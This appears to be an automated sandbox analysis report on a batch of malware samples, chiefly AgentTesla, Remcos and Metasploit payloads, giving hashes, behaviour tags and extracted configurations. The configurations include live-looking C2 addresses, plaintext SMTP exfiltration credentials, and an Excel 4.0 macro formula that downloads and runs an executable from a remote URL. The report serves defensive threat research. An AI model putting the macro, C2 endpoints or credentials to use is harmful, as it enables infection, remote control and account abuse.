agenttesla | d944b5094eb998f96c78cd54a19c4e183d47c5f5ce4fa067e9e6a3b9de730df0

Sharing

Copy URL Twitter E-mail

General

Target
2020-05-03.zip
Size 47.0MB
Sample260710-ag1qtact5x
SHA256 d944b5094eb998f96c78cd54a19c4e183d47c5f5ce4fa067e9e6a3b9de730df0
MD5 07dff5170394b6c7844cf89438c2d3d0
SHA1 2e83019c7f66cb39001963a519ca03f669bf88c4
SHA512 b0e26ae6f2929cc9870ec22b673804a1b9caf4fb6a264eda17bc2ba8075634a4d5ebe3263dbd7eacded8ff0eec429bd5b337c8cd07ae998394c1a065e84488a3
SSDEEP 786432:6NlnXvkv5z1w4w7nrttQSArGIl+ZY4rq914dGG7HXx8RebgvsFBOWMYo7BmuXwXY:SJvON8t7Gs+9iwG7HO0b1DOWMYUgorN
TLSH
T128B73321E3E890EDE982B23D77AF8B6511D118D611D30C28498BF01B2CD59D89DAFD7B
MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family

metasploit

Version

windows/reverse_tcp

167.250.49.155:5555
167.250.49.155:445
167.250.49.155:8778

Extracted

Family

metasploit

Version

windows/reverse_http

http://lastmorgoth.com:8081/QjrM4ifkXFX60vvTpHghNAedfebdh
http://167.250.49.155:8081/dnacZd_SkXYgkiGTfjj7LwdlUc_6g4yW8hwyCdq
http://mynoisestory.com:8081/gG43MdT_fKdPzE7NEWaUHQg_S-xZI0IXWUUnjOcGU7kMki1sKca6Q4WfL2cVwQGur4LQdFRXQDKcJAsvo-F97nNwIycG4z1pqrwwGDtogNv8C4yuf1-fvLE9aMqDn6XLkYI1J8A4nryXN8g0_SlJ41rWutjdBhzl_Rhs47tPM00orr37ao9_qbgQhN3pgluHixOMxYEENOoNW9jVlT-sIx9XO2N3TSLqLjy1CMtKuIKp

Extracted

Family

metasploit

Version

windows/reverse_tcp_dns

167.250.49.155:4446
mynoisestory.com:4446
lastmorgoth.com:4446

Extracted

Rule

Excel 4.0 XLM Macro

http://invoice7mukszq9nbpa7online.ru/unfeminized.exe

Attributes

formulas
=CALL("URLMON","URLDownloadToFileA","JJCCJJ",0,"http://invoice7mukszq9nbpa7online.ru/unfeminized.exe","C:\ProgramData\plaukbp.exe",0,0) =CALL("Shell32","ShellExecuteA","JJCCCCJ",0,"Open","C:\ProgramData\plaukbp.exe",,0,0) =HALT()

Extracted

Family

mirai

Botnet

JIGOKU

Extracted

Credentials

Protocol
smtp
Host
smtp.yandex.com
Port
587
Username
[email protected]
Password
COKOeve8899

Extracted

Family

agenttesla

Credentials

Protocol
smtp
Host
smtp.yandex.com
Port
587
Username
[email protected]
Password
COKOeve8899

Extracted

Credentials

Protocol
smtp
Host
mail.privateemail.com
Port
587
Username
[email protected]
Password
mmm777

Extracted

Credentials

Protocol
smtp
Host
smtp.yandex.com
Port
587
Username
[email protected]
Password
07030452451

Extracted

Family

remcos

Version

2.5.0 Pro

Botnet

RemoteHost

kenya8.duckdns.org:7722
ikorodu2.duckdns.org:7722
mypepsi22.duckdns.org:7722
mypepsi25.duckdns.org:7722

Attributes

audio_folder
MicRecords
audio_path
%AppData%
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
install_path
%AppData%
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
keylog_path
%AppData%
mouse_option
false
mutex
Remcos-LOWNF5
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
startup_value
remcos
take_screenshot_option
false
take_screenshot_time
5
take_screenshot_title
wikipedia;solitaire;

Targets

- Target
  02bc14bee04354d16be97d0b7767ef8b3562592d360a8bec3b57bd569b091bff.exe
- Size 644KB
- SHA256 02bc14bee04354d16be97d0b7767ef8b3562592d360a8bec3b57bd569b091bff
- MD5 07eb498530e27e22cd0ae2296497c889
- SHA1 32e93a318ce0989d658df7c5049b6249cc5cb2b1
- SHA512 a0cb001f59def81af3d66b86ece37d9e6e2758bbcdd00bf2d6e5f972a7f481997920a8d201e2ad1b4f980cbe80ddf90681c4aaec9de2991c727a38b1643a9ba0
- SSDEEP 6144:lNjprJlckgeFAdOeFAjD/l479swbz0sU7fhmNTdHVGSaOmaBHJB1TkcuRt/K:1rJlFgzdOzP/ls9l0sUzhmNNAAhTB2tC
- TLSH
  T113E4AF363A818065E5988EB2487AD9C7AB3F7E4539427B5F20EBF31C5E72285770E11C
- MD5 SHA1 SHA512 SSDEEP TLSH
Score

10^/10

agilenet collection credential_access discovery execution agenttesla keylogger persistence spyware stealer trojan
- AgentTesla payload
- Family: AgentTesla
  Agent Tesla is a remote access tool (RAT) written in visual basic.
  keylogger trojan stealer spyware agenttesla
- Executes dropped EXE
- Obfuscated with Agile.Net obfuscator
  Detects use of the Agile.Net commercial obfuscator, which is capable of entity renaming and control flow obfuscation.
  agilenet
- Reads WinSCP keys stored on the system
  Tries to access WinSCP stored sessions.
  spyware stealer
- Reads data files stored by FTP clients
  Tries to access configuration files associated with programs like FileZilla.
  spyware stealer
- Reads user/profile data of local email clients
  Email clients store some user data on disk where infostealers will often target it.
  spyware stealer
- Reads user/profile data of web browsers
  Infostealers often target stored browser data, which can include saved credentials etc.
  spyware stealer
- Unsecured Credentials: Credentials In Files
  Steal credentials from unsecured files.
  credential_access stealer
- Accesses Microsoft Outlook profiles
  collection
- Adds Run key to start application
  persistence
- Command and Scripting Interpreter: PowerShell
  Start PowerShell.
  execution
- Suspicious use of SetThreadContext
behavioral1 behavioral2
- Target
  Document pdf.exe
- Size 588KB
- SHA256 083a822cfd5e69bc6861dd985e3e906238e5108a80ed868e9cbfda4849cd91d8
- MD5 8f721e751a40ca183f81e801ce8618af
- SHA1 163749de1a3a055d50a9ea3b7227bce223b31f02
- SHA512 749f77e33f5f146a037d48e36ad0765ea9e1be9a6d3e1b91ae29e1c9ad53058ee803017eb00ad99f8c112b957181fe3783aeb5546b51337fecda70cad7e40867
- SSDEEP 12288:K5XmZNmWOIbbF70XQLOKK5+NHqR6lGWGTZt6g:K52bbbJBgIs5Ztt
- TLSH
  T1A8D48D22B1D3C633D222197DAC7E537CD826BE132F2424466AF59D4C5FF9791382A293
- MD5 SHA1 SHA512 SSDEEP TLSH
Score

6^/10

discovery
- Contacts third-party web service commonly abused for C2
  Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
behavioral3 behavioral4
- Target
  4GUlS1Db5Ko4UZn.exe
- Size 446KB
- SHA256 99288949625f49d5fce4c52083d100a232b1fbec563aefa39843f564cc71190b
- MD5 8307d2b88f6fc1373da2cad7e7505df1
- SHA1 99d924ca4a5cd63aa43da4fa22a7c12c425bceeb
- SHA512 7ccf0978b22d801bc755767fcfa94f5702cb99271f67ce5e50caf0ef096336d7c2330fe41002e3537feec368f183383ce5a842a70b0268e22ee996e95df8d973
- SSDEEP 12288:1Q2hzyQZJbMzxhpLljuAcWjn1SHBx52ULo2tA1yokifU37o4K8uHk:nzy+Jbkxhp8AcWj1
- TLSH
  T13CA4299D322075EFC85BD472DEA82C78EA5074BB931B4203942715EDAE4D98BCF245F2
- MD5 SHA1 SHA512 SSDEEP TLSH
Score

10^/10

remotehost defense_evasion discovery evasion execution remcos persistence rat rezer0 trojan
- Family: Remcos
  Remcos is a closed-source remote control and surveillance software.
  rat remcos
- Modifies Windows Defender DisableAntiSpyware settings
  evasion trojan
- Modifies Windows Defender Real-time Protection settings
  defense_evasion trojan
- Modifies Windows Defender TamperProtection settings
  evasion trojan
- Disables one or more Microsoft Defender components
  Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.
  defense_evasion
- ReZer0 packer
  Detects ReZer0, a packer with multiple versions used in various campaigns.
  rezer0
- Checks computer location settings
  Looks up country code configured in the registry, likely geofence.
- Disables automatic submission of suspicious files to Microsoft by Windows Defender
  Uses the Powershell Set-MpPreference cmdlet to prevent Windows Defender from automatically sending files to Microsoft for analysis.
  defense_evasion
- Executes dropped EXE
- Windows security modification
  defense_evasion trojan
- Command and Scripting Interpreter: PowerShell
  Using powershell.exe command.
  execution
- Suspicious use of SetThreadContext
behavioral5 behavioral6
- Target
  04e9a2d20e42d611aa11ea7b633475e7bd66915d8bef9e587fbdbb194a819737.elf
- Size 25KB
- SHA256 04e9a2d20e42d611aa11ea7b633475e7bd66915d8bef9e587fbdbb194a819737
- MD5 658b7acf245f0f202acb75c47af65c96
- SHA1 05b3729269d2ac2236485736db05abebb238f29a
- SHA512 319bbe7507955c3e1f85369204e6b4a1199c1d30c61d9ed95b014c13a136dfd5305fa2adf6660d43a08d7b1bc03e2800963161faeb65db658250a4653ad0d7a4
- SSDEEP 384:PFOrDanJHD6kUzakMIiz2O8heVS2YiWCg6BQbywFVZVrkVri+VnSNBjVXa7omirT:PPJj8aXyO2ebXte7NkVi2nSNpA7Pi/
- TLSH
  T125C2C870D41DB2DCD8782038B45351A91E834A2C3AEDE7DB915F2812FD9A74A7DA2F0D
- MD5 SHA1 SHA512 SSDEEP TLSH
Score

1^/10
behavioral10 behavioral7 behavioral8 behavioral9
- Target
  0535bc297732d4810fc46c783c71e160b6ac3c7cc3596dd7ffdb3606ab1b3319.exe
- Size 615KB
- SHA256 0535bc297732d4810fc46c783c71e160b6ac3c7cc3596dd7ffdb3606ab1b3319
- MD5 be9b777561bcac8ddf57f732b4f4d48e
- SHA1 9f32b1b269678bc09f3fc11a7928d9fd333077e1
- SHA512 b1558692b49a8e1bb4bb2106505527043eb94d60fee3ea65820c64e27dab0327e2bbae54a14d01950917a37fad51c92d9b6f275f32aada40b4a8e75507fd658e
- SSDEEP 12288:ayHqtuaBciRze9lmQ1CNYMg4v0rQqeBojiJtAf0FcZwsCSK0/tDym6vD3JIq:auaPMmwCmMg48rHZq
- TLSH
  T1A4D47C9D762572EFC867C472DAA92CA4EA5074BB831F4203902725EDDE4D887CF245F2
- MD5 SHA1 SHA512 SSDEEP TLSH
Score

10^/10

collection credential_access discovery execution agenttesla keylogger persistence spyware stealer trojan
- AgentTesla payload
- Family: AgentTesla
  Agent Tesla is a remote access tool (RAT) written in visual basic.
  keylogger trojan stealer spyware agenttesla
- Drops file in Drivers directory
- Checks computer location settings
  Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE
- Reads WinSCP keys stored on the system
  Tries to access WinSCP stored sessions.
  spyware stealer
- Reads data files stored by FTP clients
  Tries to access configuration files associated with programs like FileZilla.
  spyware stealer
- Reads user/profile data of local email clients
  Email clients store some user data on disk where infostealers will often target it.
  spyware stealer
- Reads user/profile data of web browsers
  Infostealers often target stored browser data, which can include saved credentials etc.
  spyware stealer
- Unsecured Credentials: Credentials In Files
  Steal credentials from unsecured files.
  credential_access stealer
- Accesses Microsoft Outlook profiles
  collection
- Suspicious use of SetThreadContext
behavioral11 behavioral12
- Target
  06323b480f376332058ee06c5834c6961d9ae2bcadb29dd2c140c53c7f584f99.elf
- Size 57KB
- SHA256 06323b480f376332058ee06c5834c6961d9ae2bcadb29dd2c140c53c7f584f99
- MD5 dbd9615ed2f7e784457d495ad3ae427a
- SHA1 667fb71eb3a93b7d62849b991d369b2cb9ef76fe
- SHA512 48cf55a27a9ebfae175dcde7ec483bccd58ab9e09db560ee2611135e11cd68d6726eedc76ec1677d3016aa96376ad9419553810573277fa3aed46ce4806bc28a
- SSDEEP 768:jvRmEWwLcoTPnlS1j1rC9EvQre+JxOt6QWZID/FxRtTXhviZIX:j+pr8Evl+LOsQuIDvRhRviZQ
- TLSH
  T14F431921761C0843E1637DF02F3B2BF6D38EE9D21361AA44761AEAC9D1719735289EDC
- MD5 SHA1 SHA512 SSDEEP TLSH
Score

1^/10
behavioral13 behavioral14 behavioral15 behavioral16
- Target
  Request For Quotation.exe
- Size 489KB
- SHA256 b26960e8083466e40ebbfcc6dfe93c4080a516d6260e1a2900ce7649fc44442e
- MD5 a0eaf52016fd686336b02772befc9bd3
- SHA1 8becce5944bd5568f860dd37f7a371e16e4b9f4c
- SHA512 0a21f2eb161ea280226cd94d9201c4f34239406c8ee245784fcc682d0ba055c2201b9906f95519dd55ef93f5f5e16f0f31d3362ea76d717dffc52f140f5f69d7
- SSDEEP 6144:u1PubFQDFXMH6492KiN9n2uUjUzcY+02BoVLpzmWA8pJ1erkD8wXLCD3GJAcNoD7:uNu+Dx/4oHfPUjnozmyaowU/sa
- TLSH
  T145B4D0242DEE552FE2BA4F74A9C47062A769F2B37607F71F55C003468E23B429E4122F
- MD5 SHA1 SHA512 SSDEEP TLSH
Score

10^/10

collection credential_access discovery agenttesla keylogger persistence privilege_escalation spyware stealer trojan
- AgentTesla payload
- Family: AgentTesla
  Agent Tesla is a remote access tool (RAT) written in visual basic.
  keylogger trojan stealer spyware agenttesla
- Executes dropped EXE
- Reads WinSCP keys stored on the system
  Tries to access WinSCP stored sessions.
  spyware stealer
- Reads data files stored by FTP clients
  Tries to access configuration files associated with programs like FileZilla.
  spyware stealer
- Reads user/profile data of local email clients
  Email clients store some user data on disk where infostealers will often target it.
  spyware stealer
- Reads user/profile data of web browsers
  Infostealers often target stored browser data, which can include saved credentials etc.
  spyware stealer
- Unsecured Credentials: Credentials In Files
  Steal credentials from unsecured files.
  credential_access stealer
- Accesses Microsoft Outlook profiles
  collection
- Adds Run key to start application
  persistence
- Suspicious use of SetThreadContext
behavioral17 behavioral18
- Target
  083a822cfd5e69bc6861dd985e3e906238e5108a80ed868e9cbfda4849cd91d8.exe
- Size 588KB
- SHA256 083a822cfd5e69bc6861dd985e3e906238e5108a80ed868e9cbfda4849cd91d8
- MD5 8f721e751a40ca183f81e801ce8618af
- SHA1 163749de1a3a055d50a9ea3b7227bce223b31f02
- SHA512 749f77e33f5f146a037d48e36ad0765ea9e1be9a6d3e1b91ae29e1c9ad53058ee803017eb00ad99f8c112b957181fe3783aeb5546b51337fecda70cad7e40867
- SSDEEP 12288:K5XmZNmWOIbbF70XQLOKK5+NHqR6lGWGTZt6g:K52bbbJBgIs5Ztt
- TLSH
  T1A8D48D22B1D3C633D222197DAC7E537CD826BE132F2424466AF59D4C5FF9791382A293
- MD5 SHA1 SHA512 SSDEEP TLSH
Score

6^/10

discovery
- Contacts third-party web service commonly abused for C2
  Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
behavioral19 behavioral20
- Target
  0900dda31e7805d85530022d4dd575d75388826dd7ccee99dbff648a9cb9d5ee.exe
- Size 1.6MB
- SHA256 0900dda31e7805d85530022d4dd575d75388826dd7ccee99dbff648a9cb9d5ee
- MD5 c16824de1f07f1cd8fb5f741b0a74d64
- SHA1 665d4bfd4e7a318a6efb2144396a1d45e83d3946
- SHA512 a54114a282c0d0c85bedce3940d826b9b9323e06b459205e7619a1aa827d6f78672ce67e63f6275bca99f2a82be26dabe8d1db7bb9b49c1a1a784b2e9d7d7056
- SSDEEP 49152:aVg5tQ7aglNgN1CuAhU0zCehvesfynfEKrWE5:Eg56HlhU8WsfojW
- TLSH
  T19075E11373DD83A0C3B25273BA657B01BEBF7C2546A5F56B2F94093DA920162421EB73
- MD5 SHA1 SHA512 SSDEEP TLSH
Score

10^/10

discovery agenttesla keylogger persistence spyware stealer trojan collection credential_access
- AgentTesla payload
- Family: AgentTesla
  Agent Tesla is a remote access tool (RAT) written in visual basic.
  keylogger trojan stealer spyware agenttesla
- Drops startup file
- Executes dropped EXE
- Unsecured Credentials: Credentials In Files
  Steal credentials from unsecured files.
  credential_access stealer
- Accesses Microsoft Outlook profiles
  collection
- Adds Run key to start application
  persistence
- Suspicious use of SetThreadContext
behavioral21 behavioral22
- Target
  0dedfedf8846e250eb7d30173d94721aa80d639f227b1ac64e6c25d676309386.exe
- Size 72KB
- SHA256 0dedfedf8846e250eb7d30173d94721aa80d639f227b1ac64e6c25d676309386
- MD5 758ba9aaaf4a63e23d5b9ffb627f2b84
- SHA1 782e4370dbd7f3e0bbd870d8f397fc7bbd440b43
- SHA512 5d65f89fa9f04969ac0556196fcfaf82825e033d4ca56b65bca2daee8bbbdba8b4261c77d811da5803b7d460f2ea627e36e1cb569317947de771fac4c6f6d719
- SSDEEP 1536:IXgXzYwY8DryNB9kJ/izQF1Mb+KR0Nc8QsJq39:egXcYyKtF1e0Nc8QsC9
- TLSH
  T18673B043D9841425D196123A2EB63E756675F5FB3212C2DA368CCDE4DFC2C70A36A3C6
- MD5 SHA1 SHA512 SSDEEP TLSH
Score

10^/10

backdoor discovery metasploit trojan
- Family: MetaSploit
  Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
  trojan backdoor metasploit
behavioral23 behavioral24
- Target
  0ed1a3bccdbabcea8c5af4a65f706056856bd46eec21b2296ffad11614872eab.exe
- Size 72KB
- SHA256 0ed1a3bccdbabcea8c5af4a65f706056856bd46eec21b2296ffad11614872eab
- MD5 1b69f957c63236d214fb85353492a023
- SHA1 c06944414b280eb810e024986cd7124332bb5228
- SHA512 91b58a396c9a5e6ef5ac3ad9ee14acff775eb64a81165fc791cbc797d89fd866d13d1444bcce5672ab9d8b3d34a3544ac39ff61b7d99186166349c46ec8f8fc4
- SSDEEP 1536:ICJk3DXt+XWPQwKwr6/Mb+KR0Nc8QsJq39:tyDXtvxKo6/e0Nc8QsC9
- TLSH
  T1C173BF43D9C85066D5A5123D2B3137BAAA74F9BE6701C2DB354CCAF5DBC09B0922A3C7
- MD5 SHA1 SHA512 SSDEEP TLSH
Score

10^/10

backdoor discovery metasploit trojan
- Family: MetaSploit
  Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
  trojan backdoor metasploit
behavioral25 behavioral26
- Target
  138d88d36560cee1bdd0e8234168bca1a1949a985323bbd63d76f9bd2fc4e7a8.elf
- Size 69KB
- SHA256 138d88d36560cee1bdd0e8234168bca1a1949a985323bbd63d76f9bd2fc4e7a8
- MD5 08b0154998c9f61fd362b753a142b86e
- SHA1 fdd42ca1a64810717e8d8a796d818aeb5e3e56e7
- SHA512 2b9163592b19b0318092aabe5a24b93626189718467386a777fe9bf35786665fd63680cab8b4deb9487d8bfa024432f8b13fcecc3065bbdf1149d47d3684c3ce
- SSDEEP 1536:YlnXjt8N7aXcmOue4z0WheMaPZN/xG6IwiYCUBaE/fkE5SYYvit:c93rhVa4MCUBaE/fkEwpit
- TLSH
  T108630866F8808B24C5E2167AFA0F128D7317136CF3EE72279E145F246B8B96B0F36545
- MD5 SHA1 SHA512 SSDEEP TLSH
Score

1^/10
behavioral27
- Target
  147e92a20eaa350aef112cd3110af132aa9667af4e8eb90d345d4b7da8cea95c.exe
- Size 507KB
- SHA256 147e92a20eaa350aef112cd3110af132aa9667af4e8eb90d345d4b7da8cea95c
- MD5 ac7b352486eeeba78146b3643d0f29e8
- SHA1 6816640db9fe701732b02280f09ee2baa8ef2eeb
- SHA512 84ca3e9621b93532bf501c204d837af8b5635e8ce8973a229f67ce58b619261cb15d9ed9a6de1cf4d66134a7b6bfe5c009f3a72227bd51083ee5cab1585342bb
- SSDEEP 12288:zRuWRljGARmTlMeGkCnI7O1WWrOf15cJ:zRuEljGARWDtCnIO1
- TLSH
  T1BEB4E1242AEE552EF27A9F74BED82055A7A9F3B33507F35F41C003468E13B529E8512B
- MD5 SHA1 SHA512 SSDEEP TLSH
Score

10^/10

collection credential_access discovery execution agenttesla keylogger persistence privilege_escalation rezer0 spyware stealer trojan
- AgentTesla payload
- Family: AgentTesla
  Agent Tesla is a remote access tool (RAT) written in visual basic.
  keylogger trojan stealer spyware agenttesla
- ReZer0 packer
  Detects ReZer0, a packer with multiple versions used in various campaigns.
  rezer0
- Checks computer location settings
  Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE
- Reads WinSCP keys stored on the system
  Tries to access WinSCP stored sessions.
  spyware stealer
- Reads data files stored by FTP clients
  Tries to access configuration files associated with programs like FileZilla.
  spyware stealer
- Reads user/profile data of local email clients
  Email clients store some user data on disk where infostealers will often target it.
  spyware stealer
- Reads user/profile data of web browsers
  Infostealers often target stored browser data, which can include saved credentials etc.
  spyware stealer
- Unsecured Credentials: Credentials In Files
  Steal credentials from unsecured files.
  credential_access stealer
- Accesses Microsoft Outlook profiles
  collection
- Suspicious use of SetThreadContext
behavioral28 behavioral29
- Target
  14c8eb07eea00a0d9a9fe7dae5ec507a9914caf6d5d244c249a6ebee8a36746c.exe
- Size 354KB
- SHA256 14c8eb07eea00a0d9a9fe7dae5ec507a9914caf6d5d244c249a6ebee8a36746c
- MD5 7d5172b9bf7c9b4b445dcc63a88f0f32
- SHA1 ee0de2d004f2982d825a8806a94ff3c595e91ddc
- SHA512 3f65426a1408b6c310c83dfd20294d6f9b1dd3bcb7d4fdd5cef9a3edd9173f944db7c69a6f438f5042f76b2df7a22d152411d4d1c61048f5719ca4b28eb4aff1
- SSDEEP 6144:+DQYkU+rcOwex2xgtPRYfiIuIJIFeoaBcTkjUdOD:GkU+4OxCgtJYfLuu4ruc
- TLSH
  T1FB74F1369EB9DE24C71D4575D075AA6A9B28C80A7D8EE3BFF30A8071CDB17C146522F0
- MD5 SHA1 SHA512 SSDEEP TLSH
Score

10^/10

discovery collection credential_access agenttesla keylogger persistence privilege_escalation spyware stealer trojan
- AgentTesla payload
- Family: AgentTesla
  Agent Tesla is a remote access tool (RAT) written in visual basic.
  keylogger trojan stealer spyware agenttesla
- Unsecured Credentials: Credentials In Files
  Steal credentials from unsecured files.
  credential_access stealer
- Accesses Microsoft Outlook profiles
  collection
- Suspicious use of SetThreadContext
behavioral30 behavioral31
- Target
  1511fb7409044fab83df96d09dcfba603a05c84bc52cb5809dc5772f5bbdc45d.exe
- Size 72KB
- SHA256 1511fb7409044fab83df96d09dcfba603a05c84bc52cb5809dc5772f5bbdc45d
- MD5 09133534f0e49012dc49f9606dc5dc70
- SHA1 e0b35d664c08f1a888fdaed4ecc4edc0031bf3ac
- SHA512 75383d865042fa8fff50ab94e35a5d22104f9d1bc64e126e39581a6a6dcafd0d1160325d33136b057d984360962fddf2446da10d8170533e50eb71f1b1de3167
- SSDEEP 1536:I7OnOT3eK9sZtDQHdNRnXigXf5J1Nh0+/IyLMb+KR0Nc8QsJq39:WOOb9sZtDXsf5bs+/pe0Nc8QsC9
- TLSH
  T1C173BF43EAC81061C1A6127D2A753BB69975F5B67206C19B798CCDE1DBC2CB0622B3C7
- MD5 SHA1 SHA512 SSDEEP TLSH
Score

10^/10

backdoor discovery metasploit trojan
- Family: MetaSploit
  Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
  trojan backdoor metasploit
behavioral32